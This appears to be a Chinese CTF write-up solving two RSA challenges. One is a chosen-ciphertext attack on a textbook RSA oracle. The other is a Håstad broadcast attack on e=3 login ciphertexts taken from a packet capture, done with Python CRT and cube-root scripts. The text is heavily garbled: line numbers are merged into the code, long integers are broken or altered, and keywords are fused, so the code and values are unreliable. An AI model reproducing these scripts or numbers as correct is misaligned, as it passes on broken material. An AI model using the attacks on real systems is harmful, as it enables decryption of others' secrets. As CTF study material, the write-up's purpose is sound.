1 secret = pow(int(open("flag.txt").read().strip().encode('hex'), 16), e, N)
2
3 def debug():
4         print "I have no bug"
5         print str(secret)
```

6

7

8 I have no bug

829385266877184702944914834039218604131921328279536959387703694092775020999894153240757909530123921842913584444434322339065597951341099121143706450585402516487610711231895856402285924371232930176602450766222129669021499087681005246627296227414449697608006867419932110737795660494390891064652658118474655092641

我们这里用 c1=secret 和 c2=3 来做运算

c1 = 829385266877184702944914834039218604131921328279536959387703694092775020999894153240757909530123921842913584444434322339065597951341099121143706450585402516487610711231895856402285924371232930176602450766222129669021499087681005246627296227414449697608006867419932110737795660494390891064652658118474655092641

c2 = 588855692320105885141997185606302455643757495105735618514782478629304224787543984139165014417346725625564389600250406389301286123232013383585283779796478204770704759515497703600246657523446151320116129609192922062447385420187405388712737456981188041849341483874753513222829919744674197461530792319441870756221

N = 163299923594725837822065466024252288369968345166114296775267398674135203232399369097066231911703932876685787200953804367999219404652277507051132477767780777171583401548512406822302682440462953734186505877480309334593204565155837915080069002132147202319079756766392254726664638975415908872910181448796479878521

4 print c1*c2%N

一个 python 脚本

出来结果是

791792199473976735969131418580608535622641832771050645005261211819490518852260222867534926050888569434571039346741090913299354444332268497553408733577823437960592170878157899870065319472135912042160495919712578115084987878867194393987073798043704976793068142053136698484109814814341457569230801157307343303787

拿去 RSA system 解密一下

01 ISG RSA System

02 1. Encrypt

03 2. Decrypt

04 3. Debug

05 4. Exit

06 Command:

07 2

08 Input Ciphertext:

c 791792199473976735969131418580608535622641832771050645005261211819490518852260222867534926050888569434571039346741090913299354443322684975534087335778234379605921708781578998700653194721359120421604959197125781150849878788671943939870737980437049767930681420531366984841098148143414575692308011573073433037 87

10 Your plaintext:

1 866749289527792326582008447786921924074194313503193104522489497582

1 878045181788438218135164652271568971126488881022071

把这个除以原来的 3 在 hex 一下

1 print hex(866749289527792326582008447786921924074194313503193104522489497582187804518178843821813516465227156897112648888102207 1/3)

2

3

4 0x4953477b63686f73656e5f6369706865727465787 45f61747461636b5f626561 6b735f74657874626f6f6b5f5253417dL

得到了 secret 我们把他还原成 flag.txt

转换一下 得到 flag

ISG{chosen_ciphertext_attack_breaks_textbook_RSA}

misc400 丫丫

题目先是给了一个数据包，用 wireshark 分析，在 http 包中发现很多 login.php 的请求包很里面有提交数数据及 ip 地址，尝试访问发现丫丫网地址：

http://202.120.7.108:8888

接着查看丫丫网代码，发现提交的密码是先使用 rsa 加密后的密文。

每次提交从 http://202.120.7.108:8888/getEncryptionKey.php 获取 e，n，rkey，

看了一下 js 代码 rkey 似乎没有带入计算。
首先想到的是利用包重放攻击，更改数据包发送相同的 user，pwd，rkey，发现根本就没有回显，此法扑街！

注意到此题为加密解密题，所以我们再次回到 RSA 这个算法来
这里现在我们知道得有密文 C，公钥 e=3，公共模数 n，从数据包中把所有 login.php 和 getEncryptionKey.php 提交数据抠出来：共有 7 对对应的(C,n)
参考针对 RSA 的攻击这篇文章中提到的广播攻击

现在所得条件完全吻合，用中国剩余定理解同余式组，设明文为 p，x=p^3，x=Ci (mod ni)
分别带入 7 组（Ci,ni）可以解出 x=p^3=

14175120305958926640522274902195014616103919921065164655367456408670
87341950708153899186826977584961523849397227997563026265390637725939
68413741946977605626282847756939172307593719941029541911735088786325
81527239741913791869171067933153829245033617552680775557775270598493
47615575375408266160062550746398112135911499431897407835340367071313
00717857895957930531087268198356689997821121852083130595875728072308
96036108000154937719170579624594507088699802103145938453191293254531
50542859827084903596770583787478636645055979429914098139598023245695
59853480323733857547010125337915541053576399220660587044580929655194
07348628154220014053751833930979073433233381842048652920738374791118
79821501177621283811573037656336975270492973893415897123067716598919
33939290107029735513903506130818156686871225454105313364460 86

接下来就是对这个数开立方，发现这个数根本无法开立方，再次扑街！

想了很久也试过其它方法，比如直接分解 n，公共模数 n 特别的大，尝试了用 msieve.exe 来分解了很久，最后还是扑街！

后来想想觉得题目的公钥 e 给的是 3，就说明这道题解法应该是没有错的，会不会是 7 次输入中，他有一次或者几次密码输入错误了，那样就导致同余式组中 x=p^3 并不完全相同，导致解出的答案不正确。
怎么判断哪些数组正确还是错误呢，想了很久也没有想到什么简便方法
最后还是通过暴力破解，就是从 7 组数据中分别取 3 组,4 组,5 组,6 组，来组成同余式组，并解出所有的值。
python 脚本：

```
0 n1=int('c0ee9a0e9267d408a38c11ad009cc013ec8047397cadbe81aef68929032
1 c94e2e665afcc28031995b9f593a652910f41',16)
0 n2=int('98bd9bc15848d4fc9e6d45f7ed17be2b951c39a1beb94c34262d3bd4c84
2 1bea3afacb7c814a3806d5be14224384283a7',16)
```

```
n3=int('c6222103be7725ae3ab150786c0100ac424192c187d7c5c9311a09c3f873 1a6ba142f8db05e01c814203641a69285c55d',16)
n4=int('b5821c26739589a6f291f3f61b4833df1a1b0105202a4d70ddb2d411d994 9d4b55169f78d5dc3c9b8eb052a2832b218e5',16)
n5=int('c900f03ca5421a4fc73fe496d1d9298c6bd8d83d708ec4e609039ae5f165 3023549e3b3f31215e6c078023b86def18d3f',16)
n6=int('d069d27923ded540eadf2926f600f6ff373d0f325d2ea1de66f9c7571ec6 b8778fa07e2e4b23af7e614339147247754d1',16)
n7=int('c0618fdaf330901229661defee6ef221c5090138dec81f481add385d9b97 f7f9927194fd79057c60e64bcfeac47332075',16)
08
b1=int('753f1c4d3bb0f170a227c7d925695cf1b33143fe1d2d6934e4c2b0faaeb9 aef59bdfa02e656ce7e1957835b0011723654',16)
b2=int('42d6df231b6e09acd1f4e125b8d2458e3f294f34e3240001aba82f9ffd70 14187cdbcbc95dcf5bb34fcaeb48dad52bfc8',16)
b3=int('a6b92bde0560bdb36609186b3dbd034c2e60fdddf97bee03cfd9ffc9fe11 95208901abcb4a5e45f89d08fb79e20a61aa9',16)
b4=int('5163229bc6f60167c341ce5e8009dccb7a8bca6737023623c4f398bca5c2 0cc5dfe6f5d0e38bf06be3de162951f6fc472',16)
b5=int('5bab7fb7f32514c4fa859e213ae96cfc659b624a5e9446ef48503f168093 b8447f206152f32f43f7219654cf41bca0e88',16)
b6=int('3282d69293ee95422445eb95af6d64f7c4a85ee5f14b5b99351211851424 faf822497033bb29866e409d26a8aa821d92e',16)
b7=int('3f0c66ead6290124f0ab8274f0496b5296ec9e1ebf939ac643ca3adf2c95 050948ca9e1f1da8130f5755f0ba887edbbab',16)
16
lst=[]
tar1=0
tar2=0
20
def ex_gcd(a,b):
        global tar1
        global tar2
        if b == 0:
                tar1=1
                tar2=0
        else:
```

```
28                 ex_gcd(b,a%b)
29                 t=tar1
30                 tar1=tar2
31                 tar2=t-a/b*tar2;
32
33 def gao(lst):
34         checkitout=1
35         heiweigou=0
36         for x in lst:
37                 checkitout=checkitout*x[1]
38         for x in lst:
39                 yo=checkitout/x[1];
40                 ex_gcd(yo,x[1])
4                  heiweigou=heiweigou+(x[0]*yo*(tar1%x[1]))%checkito
1  ut
42         return (heiweigou+checkitout)%checkitout
43 lst1=[
44           [b1,n1],
45           [b2,n2],
46           [b3,n3],
47           [b4,n4],
48           [b5,n5],
49           [b6,n6],
50           [b7,n7],
51                 ]
52 def do(start,cnt,ret):
53         if cnt == 0:
54                 temp = []
55                 for i in ret:
56                         temp += [lst1[i]]
57                 print ret,':',gao(temp)
58                 return
59         for i in range(start,7):
60                 do(i+1,cnt-1,ret+[i])
```

61

62 do(0, 3, [])

然后对这些值开立方。最后 2 分钟的时候在对 7 组中取 3 组那 35 个结果中，最后开出了正确答案

```
p=120245380238020261267941406555614055814590407287622383735017107661647783240350897463037223202968643526809546790
```

```
hex(p)=0x20000000000000000000000000004953477b796179615f686168615f776177615f676167615f6775616775617d
```

截取后半部分
4953477b796179615f686168615f776177615f676167615f6775616775617d
转化为 ascii 码 ISG{yaya_haha_wawa_gaga_guagua}
得到 flag
附上截图和代码：

开立方根代码: l2.py

```
t1=4041883689533222751920250617404233450553335057728159774738477144172824727867054769407535152386382221081225013038431731518525625408525727797705810136226838277368756458035001570043808801815573869353440445507347000605541437441606187633840537240194856736314988862659955804800018274162934780506967023155818957441879247493850244755238674310809863672328
```

```
t2=1785148280037621928374470385229935903283291609586546989300924705133768178723878355594240821756667599793815166731018221805473032078003737476299717459850178418951579363539874808008459435294283782375057522022386279459328809739906615756138222997810052252824879489911956907246438500736357395976753124218081063435503260329248560201231583799792822825822
```

```
t3=1403436174482266913692388722265572115519356020466671761419682389550769364999022034744530763559370194981535545106692040637620550910124436355130682160211378093027380341071523624929983450636543155650327308892534908588880143901837545434905452827160369091426455981381904239348787935824417511533771494488629266060607019797916019285427780899009843202619
```

```
t4=419949434443323187044383543305230337144417036710825610829002391041623143423925199182852881913646166987652295975184241129237627178199347708879000922923598601117757346323982482645377853653447808340047856
```

074556693323368715503458503830252784581801730542119594921882252216144750918168855900794923579469811242713277934701136194022418947381488362094155

t5=4578673183897958151164893869108692295685521719483293338710797301376401666965641468744313868009961462330215443601560928924803787466214744118038974997117632248280536792185095404835383887131361055497987617460823915921616965601674672282989354803073623481033262408175230062252932659568699624760770644436929500896363703707239406444401528974168604627570

t6=960718079175722916002417569553691162065026018865631682576680757099703962979296179844326572158097938490937640220037336982227187249196831808592988296618255331712583787535922169501422088312173411841483784588837677525406549589368285647854078171220924224616219101184001607375356327024939178266680168426977187757420378480572599504277586416557302809254954

t7=2064290408100723287061515824382896287493185095330517526186039231696756669325172103767641406525701007693104309159063029024330856446551847165584442194115399435096811408412731753349510296456499951963010661345860681531701460144479462292901091729710365603203084771407830538385807506784304012268298780951997955993695985543167310473162922357070896918140 4

t8=1109146933082832824305872739723283046846462440641625316489768901657026913895536830782222227251667683219114092676506518068310118716981788825513118761316264553628474447629095621974567213191821871923009005030140397324112711395782014739158735136972938675084055297499797495589805790529674535518510154524639530878522125046375844678822476972398029499065 5

t9=1858206819086351022223798479264730994794431716083910048738049830003067471447804447142604458750721698427898934630804707401502619324617368033847223860074658089412856273512984624736329699167593946525031009550376859779388417570067063281119350555313536102019106821177267448675071454563719751113652876376979316831411453281969071038548010846166361597591 0

t10=2469845035118829565424539149462889941832453432857816068118578657732794155484356520370981485595679617913317984630328906167587352152763706198673233048731959117062865016769834184566179413540258684777792752267555253151903784255728443520173115692951731911292267067478026754617814223326765966356182486792541542601781893935307517913347585793400357114653 9

t11=1738622117183213887075009828299861477174439260238734505291778485138166340664454332787847802205021488385204638664470451022953133535727117243763210710486399744067473768878707735248988794500122938916659781

462777897822113329569053544581600958148301236694220199635727024095363274634813479311648896705544119017313321297356572077757529166337012

t12=1938482297042491483648245505315679577748709306120484503008301820383789488338085604779388496241176273150255208541729628641952970893988242451623621693258741143379831924227771905718763206454968010731931290789373914709059928863480229425706473024697322126705541382530321536021957601883347239650384853999597597896291987741552414981696757148763010944988012

t13=8788554527595976324172119294263270532625852495221612374204904244489627412883076236877951205530859920025170824685255133997453807290000834735301608793922323157112422407932355660394688263432161748211628601881863417970448485171692783735006585097207561453675956796636985509920483425760019912145703069973685043729155011172826497028136132518465397366616

t14=22411511338471451252103639377419157725976518004646774599199725632752139096813358799550205479179491087873688472472164322817725827982296128857721363589791272266023229614014767647446642264151682872227605324354638720475308249989058776482008643974341708850278169701610114432662663166796301650952773994306927890549373606195487128505483561960508160184351

t15=1292978887306633328484033803153543530725574839943748406840429280424650096244411995878859758530958989550085661218848308547797897991634318951207742447630329014854274309376751555031746210308564511226295049523770648061400448561357708134075394297374814172511282970067755553411762870696376227972575964706784981635487474017074741741563264738366750135038 4

t16=1235946324446570070222480839282168197407683903377689536040389709536517296558543670503542517849696202844669094516776620737991634475014572219730308935207153745013515848435730412819872929747944470576044183299458250000730694811695869709644855505824682879635409910072316290521296111999791927959161985160767630608365983690343949958928549987756538937770 8

t17=1878142202027539235325881331873693379670243475255731811340375559146698148764639120895202815564559741500978161927953384938763547017005947436178732073018559550689306174458487869060628308549326650294602282265159773694667261355883013664052898779097249330937994184200670569475495429050145017397566985357493373229851537940398588222193756919266838275697 1

t18=1653996044307746215106837019715719366593900365915376125754919843422210587860916666404817142717854474947244743036830313185841788554523004682104641038057743961738909674727515256028566591387201538068317926148007044721308729132561023794173404117691404191179288167185575145 8

559616368614844922170280071324937032956590622884520608623371997393225425678185 6

t19=1127831278105827422809456427923351178611310028690394121151014119456810127667705474595983830442677742463974738466247463009347899177067524144728690688192703056018011688745345862602869253671831934867542387539831290819976059967588445037400990263363268470086710213224467480535266120120329479134439056409939229941285542709329041407791461577028255264613 6

t20=1856233070812450309974894393366265632663959686598581052461126544153483977111117711930397166176216684749815728869287760644735685509199977037529290550210137159832903519874575891876204258611689778957245050826983135927102859461494268158167990657875365969736274689619683038038005882131607008290570859105726436411119015649889811225853465456439240297682 80

t21=1031828423073289760779639204628103718574076065393150653344843487941068841118117063851313302133142693548371622549007262934295862894119020164108458624418701882751038517544544703055487729561611495604341923865034696817062678637204216031137716616354489419507797376048688011342670391814333929783072125804277128951828972534836070188766360061439264614143 0

t22=1499041874153571577192600006331140332590340213817117938785798068486256970997323164177528489822166370543310723672874804416079529954704324827793131443128802159685954020638623210319884881829509523015570163513313944317476071302102758783529354889468988056829481550615827530633048212053768498065588219767418234444736308992328040043602348658070580839309 0

t23=1429388348965191405375652118676988435744073627804020360692566693644098569277522526030837959163146805161171951671979688645126815030473583233948343917355238858929497725006596045299643802985915690034870123073823664933375346522434886722016424078397675532270403191512042714226281235485987641317282632339788951874190130551940850097371318471818237536918 4

t24=3573279105622252947846398002246393051634703987123278311469555352908583056857151650179864566369692900992192699537678133173826452787501635279111410462874850118448410240025481471831996588849784926098010101836299967182563022946461796424396337523334084967895178856442566085140234524729504640228366787880652001835427104243413024891462519590119533464403 4

t25=1096172046568712232864830383353264022591357391685705179519996569413037724857902717574472090823109059972185999069996783382480154583207435955782004272601884729366483991528287816469922199832224276657256772110366049712309655685661646366975823723523765464025134817564440664 5

3232171622491084179214787976093815506350825023023632432770955433944478519950931

t26=026
2621763241419167905310948873321002551539155966913499576046800092550282316170091541792369991612959344585971334991475446183282484701551893434002568430678712345181695384427715774801845520300574925267905970242618326443416567633520929898865205027575276964591901543827790696458795525913303074489052495184620944679331538305144052315522094686949976965771 2

t27=027
7657084633846394906016978123777468467908126903919475367440170388679883559605494261714794121327711473201125330112276246453613940065889426733015072101136188709417624786744058198952106797791912023333998449497597713454452696847113218521806733198684308173793798519920079527011013434580753128765720661150834766112794144353631895353035650582679604845617

t28=028
2343502801916879890784003696424020729709007129782880777563445591878667148106665764356184980867566803039503289148059244872482590067757256099644215713019542335196239351654436734081316572618663817712433582561328074683922410392156920981125533764583142246883656412602227035336477837087935628968785654027378753316116957407760221364747003066874013585879

t29=029
1949535225197749804837081461582410456731160529556747916311895910235831142529385501576689855722525105145588439654694213257300970863068793477615465400689052863554776238864892366608858025810411424540368817693444432347980552698340675304407990315371917358398823676983111168934989944497189989274599698460197397933329581699328540995904828004959559299944

t30=030
1050451831357723358552642693092865058071171022198378342489241328698951946773130182005273178215201720726567903025191251149813085136084581511240069892282323179379097835886642145074507286899535100044821368070197402518052631746828774493354663182951826314551137472755130856122530757972874617255606124580158054875011091433530593006085939376591401662577 4

t31=031
1843384742787814900498788276255442227990004791709063763441817705860156532352679360740239723714933273238535522560129482268905015233323537389113601181257706924445038689362463656178140660737321414756569309872840575622919360601012017551903042925722967694252352025201470663698112922668813922194821829759196976262763839977943638422983409630977436952852 2

t32=032
1535706149581400739920306776716191463579024829768549812557823334316330606313485147367148393039861781879684189268112578474894624700814883359665362029261272279888384542269491321749413092333039363624766997313028873301557721609169677098317960576108807969863998999052673774

36104344429459440766494970313496581405533176593278856599538983984081
0697688662

t33=13565500785848704635814593144837197544454236005474278430579925778323118791075118781377662661518174845621399550642538602455757446856953580413056218633806302400220734951002864386768902090465495072952225991491464023560450086981352007612141662487167900823291193761506513916055488193424389550058993254391005597445715109512705212428777291598408263196966

t34=12373601003669163343752673327921781806861413738331671244330759952753582630269973478343136396534175142941157215215390421385685708771356458903192858202532669530833600070045767713747032283044802736490124957289167105854049438982926658252954080285798867481999851323146828548629204859358369191722128628519899601387805747024004262192385088092823340200383

t35=7330841437220688673827561889989284469823772035255910984460023042949416408521981790913743802757865905579665380214127251816849376047814993545533194994357682512240681712325589367196912308736446507335079746753604255694733178677469618510744063864989498979391439147261769138627580711782879283434961038901592144263784234053611386353403587731563813360124

036 lst1=[

037 [t1],

038 [t2],

039 [t3],

040 [t4],

041 [t5],

042 [t6],

043 [t7],

044 [t8],

045 [t9],

046 [t10],

047 [t11],

048 [t12],

049 [t13],

050 [t14],

051 [t15],

052 [t16],

053 [t17],

```
            [t18],
            [t19],
            [t20],
            [t21],
            [t22],
            [t23],
            [t24],
            [t25],
            [t26],
            [t27],
            [t28],
            [t29],
            [t30],
            [t31],
            [t32],
            [t33],
            [t34],
            [t35],


                ]
import math
def div(l,r):
global x
if l == r:
return 0
mid = (l + r) /2
temp = mid*mid*mid
if temp == x:
return mid
if temp > x:
return div(l,mid)
if temp < x:
return div(mid+1,r)
```

```
088 def pow10(x):
089 ret = 1
090 fori in range(0,x):
091 ret = ret * 10
092 return ret
093 def test(x):
094         n = math.floor(math.log(x,10)/3)
095         n = int(n)
096 left = pow10(n-2)-1
097 right = pow10(n+3)*9+1
098 ret = div(left,right)
099 return ret
100 index = 1
101 fori in lst1:
102         x = i[0]
103         index += 1
104 printindex,":",test(i[0])
```

结果是

```
1 120245380238020261267941406555614055814590407287622383735017107661647783240350897463037223202968643526809546790 1
```

转成 16 进制

```
1 0x20000000000000000000000000004953477b796179615f686168615f776177615f676167615f6775616775617dL
```

把 4953477b796179615f686168615f776177615f676167615f6775616775617d 转成 ascii

ISG{yaya_haha_wawa_gaga_guagua}

得到了 flag